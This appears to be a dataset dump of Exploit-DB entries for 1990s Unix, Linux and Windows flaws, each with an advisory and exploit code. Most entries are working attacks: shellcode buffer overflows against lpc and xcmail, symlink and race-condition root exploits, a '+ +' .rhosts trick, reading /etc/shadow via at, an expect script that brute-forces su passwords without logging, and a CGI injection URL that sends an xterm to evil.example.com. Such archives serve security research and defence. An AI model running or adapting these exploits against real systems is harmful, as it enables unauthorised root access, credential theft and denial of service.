QLWD/code_shield huggingface dataset:
标题: SGI IRIX 6.2 - 'cdplayer' Local Privilege Escalation EDB-ID: 19262 CVE: 1999-0960 类型: LOCAL 平台: IRIX 发布日期: 1996-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/333/info

A vulnerability exists in the /usr/bin/X11/cdplayer application as shipped with SGI's IRIX operating system. By failing to shed root privileges, and creating arbitrary directories as root, cdplayer allows arbitrary users to gain root on the system.

The -dbcdir option to cdplayer specifies the directory to store information kept by cdplayer. This can be used to create arbitrary directories. By creating a directory belonging to an account whose home directory does not exist, creating a .rhosts file in this directory, and chowning the rhosts file to the account being attacked, any user on the system can obtain root status.

umask 000
cdplayer -dbcdir /usr/admin/
echo "+ +" > /usr/admin/.rhosts
chown root.sys /usr/admin/.rhosts
rsh localhost -l sysadm URL: https://www.exploit-db.com/exploits/19262
标题: S.u.S.E Linux 5.2 - 'lpc' Local Privilege Escalation EDB-ID: 19259 CVE: 1999-0363 类型: LOCAL 平台: LINUX 发布日期: 1999-02-03 漏洞利用脚本: // source: https://www.securityfocus.com/bid/328/info


The PLP Line Printer Control program, shipped with S.u.S.E. 5.2 is vulnerable to a local remote buffer overflow. You can determine whether you're vulnerable or not by typing 'lpc'. If you're presented with an lpc version number, you're vulnerable. The consequences of lpc exploitation are root access for a local user. 

/*

Standard overflow for x86 linux lpc. PLP Line Printer Control program, version 4.0.3. Tested on SuSE 5.2 (suidroot). Test your copy of /usr/bin/lpc by trying an /usr/bin/lpc attach lp `perl -e "print 'A' x 1000"`;lpc status lp The problematic code is in displayq.c and control_ops.c, where we attempt to fscanf() the lockfile's contents into a fixed length buffer. See the Bugtraq post for full fix information(www.geek-girl.com/bugtraq).

The buffer we're overflowing is 256bytes, and an offset of 0 works just fine. Try in increments of +-100 if it doesn't work for you.

Obviously this is a complete rip of Aleph1's standard overflow program from his paper "smashing the stack for fun and profit".

to compile: gcc -o xnec_lpc xnec_lpc.c

bugs: only sets uid=0, and you may have to have a printer defined (lp on my box).

greets to #sk1llz

-xnec xnec on EF and DALnet, xnec@inferno.tusculum.edu

*/ #include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 356

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90

char pause;

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

if (!(egg = malloc(eggsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_esp() - offset;

printf("Using address: 0x%x\n", addr);

printf("\nPLP Line Printer Control program, version 4.0.3 overflow.\n");

printf("Bug found by xnec, code ripped from Aleph1. After running this program, simply compile and run:\n---\n

#include <unistd.h>

void main(){system(\"/bin/bash\");}\n---\n");

scanf("%c", pause);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr = egg;

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4);

putenv(egg);

memcpy(buff,"RET=",4);

putenv(buff);

system("`which lpc` attach lp $RET; `which lpc` status lp");

} URL: https://www.exploit-db.com/exploits/19259
标题: NetBSD 1.3.2 / SGI IRIX 6.5.1 - 'at(1)' Read File EDB-ID: 19261 CVE: 1999-1409 类型: LOCAL 平台: NETBSD_X86 发布日期: 1998-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/331/info

A vulnerability exists in NetBSD version 1.3.2 and lower, and Silicon Graphics Inc's IRIX versions 6.2, 6.3, 6.4, 6.5 and 6.5.1. The at(1) program can be supplied with a -f flag, and an error is access validation can result in the mailing of portions of unreadable files to any user who can run at.

At uses seteuid to set the appropriate user id to run under. However, it incorrectly sets its real and effective uid to 0 prior to opening the filename passed to the -f flag. This allows any user to read any file on the filesystem. 

$ at -f /etc/shadow now + 1 minute

This will mail back a portion of the shadow file to the user. URL: https://www.exploit-db.com/exploits/19261
标题: SGI IRIX 6.2 - '/usr/lib/netaddpr' Local Privilege Escalation EDB-ID: 19260 CVE: 1999-1410 1999-1286 类型: LOCAL 平台: IRIX 发布日期: 1997-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/330/info

SGI's IRIX 5.x and 6.x operating system include a utility called /usr/lib/netaddpr. This program can be used by privledged users to add network printing devices to the system. A race condition exists in this program that could allow any "privledged" user to obtain root access.

The netaddpr program is shipped setuid root. As part of its execution, it creates a file in /var/tmp with the file template printersXXXXXX. Because the creation of the file and the actual opening of the file are independant events, there exists a window, during which time an attacker can replace the file with a symbolic link. By making this link point to, for instance, /.rhosts, an attacker can elevate their privledges to that of root. 

#!/bin/sh

PROG="`basename $0`"
if [ $# -ne 1 ]; then
       echo "Usage: $PROG <target>"
       exit 1
fi

cat > expnetpr.c << _CREDIT_TO_ZOMO_
void main(int argc, char *argv[])
{
    char *template = "/var/tmp/printersXXXXXX";
    char *target;
    int pid;

    target = (char *)mktemp(template);

    if ((pid = fork()) > 0) {
            sleep(3);
            umask(0);
            execl("/usr/lib/addnetpr", "addnetpr", "localhost","+", 0);
    }
    else
            while(1) {
                    symlink(argv[1], target);
                    unlink(target);
            }

}
_CREDIT_TO_ZOMO_

/bin/cc expnetpr.c -o expnetpr
if [ ! -f expnetpr ]; then
     echo "Couldn't compile expnetpr.c, lame! \nMake sure that C compiler has been installed from the IDO"
     exit 1
fi

while(`true`)
do
      ./expnetpr $1&
      PID=$!
      sleep 15
      ls -al $1
      killall expnetpr
      killall addnetpr
done URL: https://www.exploit-db.com/exploits/19260
标题: RedHat Linux 5.2 i386/6.0 - No Logging EDB-ID: 19255 CVE: 2000-0118 类型: LOCAL 平台: LINUX 发布日期: 1999-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/320/info

A vulnerability in PAM allows local malicious users to brute force passwords via the su command without any logging of their activity.

su is a command that allows users to change identifies by supplying a password. If the password is correct su immediately executes a new shell with the identity of the nw user, otherwise it sleeps for a second and then logs an authentication failure to syslog.

Since su sleeps before logging the failure and does not trap SIGINT a user can try a password and if su does not immediately give him a new shell and before one second hits control-c his attempt will not be logged. He can automate the process to brute force passwords.

Its been tested using sh-utils-1.16-14 and pam-0.64-3.

#!/usr/local/bin/expect --

# A quick little sploit for a quick round of beers :) mudge@L0pht.com

#
# This was something that had been floating around for some time.
# It might have been bitwrior that pointed out some of the oddities
# but I don't remember. 
#
# It was mentioned to Casper Dik at some point and it was fixed in
# the next rev of Solaris (don't remember if the fix took place in
# 2.5.1 or 2.6 - I know it is in 2.6 at least).
#
# What happened was that the Solaris 2.5 and below systems
# had /bin/su written in the following fashion :
#
#    attempt to SU
#          |
#     succesfull
#    /          \
#   Y            N
#   |            |
# exec cmd     sleep
#                |
#             syslog 
#                |
#              exit
#
# There were a few problems here - not the least of which was that they
# did not bother to trap signals. Thus, if you noticed su taking a while
# you most likely entered an incorrect password and were in the
# sleep phase.
#
# Sending a SIGINT by hitting ctrl-c would kill the process
# before the syslog of the invalid attempt occured.
#       
# In current versions of /bin/su they DO trap signals.
#
# It should be noted that this is a fairly common coding problem that
# people will find in a lot of "security related" programs.
#
#     .mudge


if { ($argc < 1) || ($argc > 1) } {
  puts "correct usage is : $argv0 pwfile"
  exit
}

set pwfile [open $argv "r"]

log_user 0
foreach line [split [read $pwfile] "\n"] {
  spawn su root
  expect "Password:"
  send "$line\n"
  # you might need to tweak this but it should be ok
  set timeout 2
  expect {
    "#" { puts "root password is $line\n" ; exit }
  }
  set id [ exp_pid ]
  exec kill -INT $id
} URL: https://www.exploit-db.com/exploits/19255
标题: X11R6 3.3.3 - Symlink EDB-ID: 19257 CVE: 1999-0433 类型: LOCAL 平台: LINUX 发布日期: 1999-03-21 漏洞利用脚本: // source: https://www.securityfocus.com/bid/326/info

There is a symlink vulnerability known to exist under most modern linux and NetBSD distributions. It involves /tmp/.X11-unix and the tendency to follow to/overwrite the file pointed to if a symlink. It may be possible for a regular user to write arbritrary data to a file they normally have no write access to resulting in a root compromise. 

/*** local XFree 3.3.3-symlink  root-compromise.
 *** Tested under FreeBSD 3.1 (but should work on others 2)
 *** (C) 1999/2000 by Stealthf0rk for the K.A.L.U.G. 
 *** (check out http://www.kalug.lug.net/stealth or /coding for
 ***  other kewl stuff!)
 ***
 *** FOR EDUCATIONAL PURPOSES ONLY!!! USE IT AT YOUR OWN RISK.
 *** Even if this program restores all, you should backup your
 *** login before running this.
 ***/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define LOGIN "/usr/bin/login"
#define TELNET "/usr/bin/telnet"

int cp(const char*, const char*, int);

int main(int argc, char **argv)
{

 char *telnet[] = {TELNET, "localhost", NULL};
 char *shell[] = {"/bin/sh", NULL};
 char *X[] = {"/usr/X11R6/bin/xinit", NULL};
 FILE *f = NULL;
 int p = 0;
 char buf[1000] = {0};

 /* the rootshell */
 if (!geteuid() || !getuid()) {
  unlink(LOGIN);
  cp("/tmp/L", LOGIN, 1);
  chmod(LOGIN, 04555);
  printf("Welcome!\n");
  unlink("/tmp/.X11-unix");
  unlink("/tmp/L");
  execve(*shell, shell, NULL);
 }
 
 /* back up */
 cp(LOGIN, "/tmp/L", 1);
 if (symlink(LOGIN, "/tmp/.X11-unix") < 0) {
  perror("symlink (/tmp/.X11-unix)");
  exit(errno);
 }
 if ((p = fork()) < 0) {
  perror("fork");
  exit(errno);
 } else if (p > 0) {
  sleep(7);
  kill(p, 9);
  cp(argv[0], LOGIN, 1);
  execve(telnet[0], telnet, NULL);
  perror("fatal:");
 } else {
  printf("Xfree 3.3.3 root-sploit by Stealth. http://www.kalug.lug.net\n");
  printf("\n-> Please give me some seconds... <-\n\n");
  execve(X[0], X, NULL);
 }
 return 0;
}
 
 
int cp(const char *from, const char *to, int how)
{
 int in = 0, out = 0, r = 0;
 char buf[1000] = {0};
 

 printf("cp %s %s\n", from, to);
 /* overwrite ? */
 if (how == 1) 
  how = O_RDWR|O_TRUNC|O_CREAT;
 else
  how = O_RDWR|O_CREAT;

        if ((out = open(to, how)) < 0) {
  perror("open 1");
  exit(errno);
 }
 if ((in = open(from, O_RDONLY)) < 0) {
  perror("open 2");
  exit(errno);
 }
 while ((r = read(in, buf, 1000-1)) > 0) {
  write(out,buf,r);
  memset(buf,0,1000);
 }
 close(in); close(out);
 return 0;
} URL: https://www.exploit-db.com/exploits/19257
标题: Debian 2.1 - HTTPd EDB-ID: 19253 CVE: 1999-0678 类型: REMOTE 平台: LINUX 发布日期: 1999-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/318/info


The Debian GNU/Linux 2.1 apache package by default allows anyone to view /usr/doc via the web, remotely. This is because srm.conf is preconfigured with the line:

Alias /doc/ /usr/doc/

Boa is also preconfigured this way. 


lynx http://some.host/doc

This will provide you with all of the information in /usr/doc, which could be used to find vulnerable software on the remote machine. URL: https://www.exploit-db.com/exploits/19253
标题: Microsoft IIS 4.0 - Remote Buffer Overflow (1) EDB-ID: 19245 CVE: 1999-0874 类型: REMOTE 平台: WINDOWS 发布日期: 1999-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/307/info

Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine.

IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions.


Use the following script to test your site:

#!/usr/bin/perl
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";
}

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19245.exe URL: https://www.exploit-db.com/exploits/19245
标题: Xcmail 0.99.6 - Local Buffer Overflow EDB-ID: 19249 CVE: 1999-1553 类型: LOCAL 平台: LINUX 发布日期: 1999-03-02 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/311/info


XCmail is an X11 mail client for linux.

Arthur <pierric@ADMIN.LINUX.ORG> discovered an exploitable buffer overflow vulnerability in xcmail. The bug appears when replying to a message with a long subject line, and only when autoquote is on. The exploit is trivial, but as the buffer is not very large you have to do very precise return address calculation. It is believed it IS remotely exploitable, but you have to know a lot about the machine you want to gain acces to.
*/

/* 27/02/1999 exploit by XSFX@iname.com.... this bug is not exploitable in any harmful way, at least not easily :)

this only works if target xc-mail has enabled 'Autoquote' (Preferences menu -> Quote -> Autoquote)

Given ESP values are for

>>>> glibc2 0.99.6 dynamically linked official binary <<<<

only when users clicks 'reply' in the message list window, NOT when reading message and clicking 'reply'...

note: find your own adresses if you want to fuck people over, and get an evil shellcode :) and remember, the buffer is very small...

0xbffff140 in Eterm launched from WMaker 0xbfffe9f9 in xterm launched from Eterm... 0xbfffeb10 as root, in xterm, from xinitrc

Greetings: to Jerome_, Dunkahn, lionel doux, niark doux, kevin mitnick l'amis des koalas hergothÃ©rapeutes and to my cannabis seeds which are growing on their own while I'm coding :) and to all the Amidoux in the world. Peace :)

note that this exploit is not very usable as-is, cause xc-mail is not suid root... but if you, k1d113, find a way to get a remote xterm :) good luck :) */

#include <stdio.h>

#ifndef ESP #define ESP 0xbffff140 #endif

#ifndef NOP #define NOP 'A' /* this will appear in subject of evil message */ #endif /* so maybe NOP (0x90) is a better choice...

but 'A's are easier to spot when browsing thru memory to find buffer adress :) */

char shellcode[] = "\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83" "\xc4\x0c\x50\x53\x89\xca\xb0\x0b\xcd\x80" "/bin/sh";

/* Shellcode from Willy Tarreau (20 bytes) */

/* static inline getesp() { * __asm__(" movl %esp,%eax "); * } */

main(int argc, char **argv) { long unsigned esp; int i,nops=0;

printf("From pop3@192.134.192.112 Wed Dec 2 19:27:57 1998\n"); printf("Date: Wed, 25 Dec 1998 00:00:00 +0000\n"); printf("From: 0z0n3 <friend@localhost>\n");

printf("Subject: ");

for (i=0;i<(204 - strlen(shellcode));i++) { putchar(NOP); nops++; }

printf(shellcode);

/* esp = getesp(); */ esp = ESP;

fprintf(stderr, "sample exploit by XSFX@iname.com\n" "DEBUG: %d NOPs\n" "DEBUG: using %#x (getesp()%+d) as shellcode address\n", nops,esp,esp-getesp());

fwrite(&esp,4,1,stdout); putc('\n',stdout);

printf("Message-Id: <199812021827.TAA23112@003.dyn.ml.org>\n"); printf("To: \"dear user\" <you@domain.com>\n"); printf("\n"); printf("hello ! please reply, i'm not sure my email box is ok :(\n"); printf("\n"); } URL: https://www.exploit-db.com/exploits/19249
标题: Linux Kernel 2.0/2.1/2.2 - 'autofs' Denial of Service EDB-ID: 19250 CVE: 1999-0460 类型: DOS 平台: LINUX 发布日期: 1999-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/312/info

The autofs module provides support for the automount filesystem, as well as the interface between the kernel and the automountd daemon, which is responsible for the actual mounting. Calls such as chdir() executed in the automount directory are handled by the module, and if the desired directory is defined in the configuration files, automountd then mounts that directory/device. When a chdir() or similar function is called in the autofs directory, by a user doing something along the lines of "cd xxxx", the function fs/autofs/root.c:autofs_root_lookup() is called.

The autofs kernel module does not check the size of the directory names it receives. It is passed the name and the names length through dentry->d_name.name and dentry->d_name.len respectively. Later on it memcpy()'s the name into a 256 byte buffer, using dentry->d_name.len as the number of bytes to copy, without checking its size. A nonprivilaged user may attempt to cd to a directory name exceeding 255 characters. This overwrites memory, probably the kernel stack and anything beyond it, and causes kernel errors or makes the machine reboot .

In this example exploit, we have a user using perl to generate a directory name that's 256 characters (the maximum being 255). The buffer for the directory name will overflow by one byte in this case:

[user@localhost auto-mounted-dir]# cd `perl -e 'print "x" x 256'`

invalid operand: 0000

CPU: 0

EIP: 0010:[<c0155b00>]

EFLAGS: 00010282

eax: 00000000 ebx: c2a90c20 ecx: c265904c edx: c0000000

esi: c29d3b00 edi: c2928000 ebp: c260d940 esp: c26c5ee8

ds: 0018 es: 0018 ss: 0018

Process bash (pid: 360, process nr: 21, stackpage=c26c5000)

Stack: 00000000 00000000 c260d940 c260d900 00000286 c0154c58 c0154ca8

c2928000 c260d940 c2928000 c260d900 c2659d50 c26cd3a0 00000286 c0154def

c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900

c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900

c260d900

Call Trace: [<c0154c58>] [<c0154ca8>] [<c0154def>] [<c0154ef7>] [<c0128759>]

[<c0128912>] [<c01289e9>] [<c012126e>] [<c0107a40>]

Code: fe ff ff 83 c4 08 eb 03 ff 43 1c 8b 7c 24 1c 83 7f 0c 00 74

-{Shell dies}- URL: https://www.exploit-db.com/exploits/19250
标题: CdomainFree 2.4 - Remote Command Execution EDB-ID: 19242 CVE: 1999-1063 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/304/info

A vulnerability in a CGI program part of CdomainFree allows remote malicious users to run any executable already existing to the machine.

The vulnerability is in the whois_raw.cgi program. This CGI passes user input to the shell without proper filtering. None of the Cdomain commercial version (e.g. CdomainPro) are vulnerable as they connect the the whois servers directly. 

http://www.example.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
http://www.example.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20evil.example.com:0 URL: https://www.exploit-db.com/exploits/19242
标题: G. Wilford man 2.3.10 - Symlink EDB-ID: 19243 CVE: 1999-0730 类型: LOCAL 平台: LINUX 发布日期: 1999-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/305/info

The man command created a temporary file under /tmp with a predictable name and is willing to follow symbolic links. This may allow malicious local users to create arbitrarily named files.

zsoelim(1) is a utility part of the man package which prepocess man pages and satisfy .so requests in roff input. This utility may be called when running the man(1) command. It creates temporary filenames are of the form "/tmp/zman0<pid>aaa" where <pid> is the process id of the zsoelim process. The program fails to check for the existance of symlinks and follows them creating arbitrary files with the permissions of the user running man. 

perl -e 'for($i=1000;$i<5000;$i++){symlink "/etc/nologin", "/tmp/zman0${i}aaa";}' URL: https://www.exploit-db.com/exploits/19243
标题: Apple Mac OSX Server 10.0 - Overload EDB-ID: 19244 CVE: 1999-1412 类型: LOCAL 平台: OSX 发布日期: 1999-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/306/info

A vulnerability in the MacOS X Server may crash it while under heavy load.

The vulnerability appears while stress testing a server running the Apache web server and 32 or more process are concurntly doing HTTP GET request to a CGI script in a loop. The system will panic and display a stack trace with ipc_task_init.

Although the vulnerability is not related to web servering it can only be reproduced so far using this means.


#!/bin/bash
#
# CGI-McPanic: script to crash MacOS X with 
#              concurrent calls to a CGI-Script
#
# before use, do:
# 
# chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi
#
# then call
#
# bash ./CGI-McPanic
#

NUMPROC=32
i=0

while [ $i -le $NUMPROC ]
do
    i=$[$i + 1]
    ab -t 3600 http://localhost/cgi-bin/test-cgi &
done URL: https://www.exploit-db.com/exploits/19244
标题: Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3 - Denial of Service Duplicate Hostname EDB-ID: 19238 CVE: 1999-0288 类型: DOS 平台: WINDOWS 发布日期: 1999-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/298/info

NT Workstations and Servers must have unique hostnames if they reside on the same network. Should an NT host attempt to use an existing hostname, the second server (with the new duplicate name) will fail to start its workstation and server services. (Once the name has been changed to a unique value and has been rebooted, the host will operate normally).

Should an NT host claim the hostname of a "victim" NT host while that host is turned off, the "victim" host will be subject to a Denial of Service-like attack because the workstation and server services will fail to start. NT hosts are usually prevented from taking duplicate names within one domain they must register their existence with an NT Domain Controller when initially joining the domain. (This registration process must be performed by someone with administrator privileges.)

A situation has been noted wherein a Win95 host may register the victim hostname (with a WINS server) by setting the Win95 workgroup name equal to the victim's hostname. The next time the victim host is rebooted, it will fail to start the workstation and server services as the WINS server will report that the hostname is claimed by the Win95 host. 

Set the Win95 workgroup name equal to the hostname for the victim NT host. If the WINS server registers this hostname, and the victim NT host is rebooted, it will fail to start its workstation and server services. URL: https://www.exploit-db.com/exploits/19238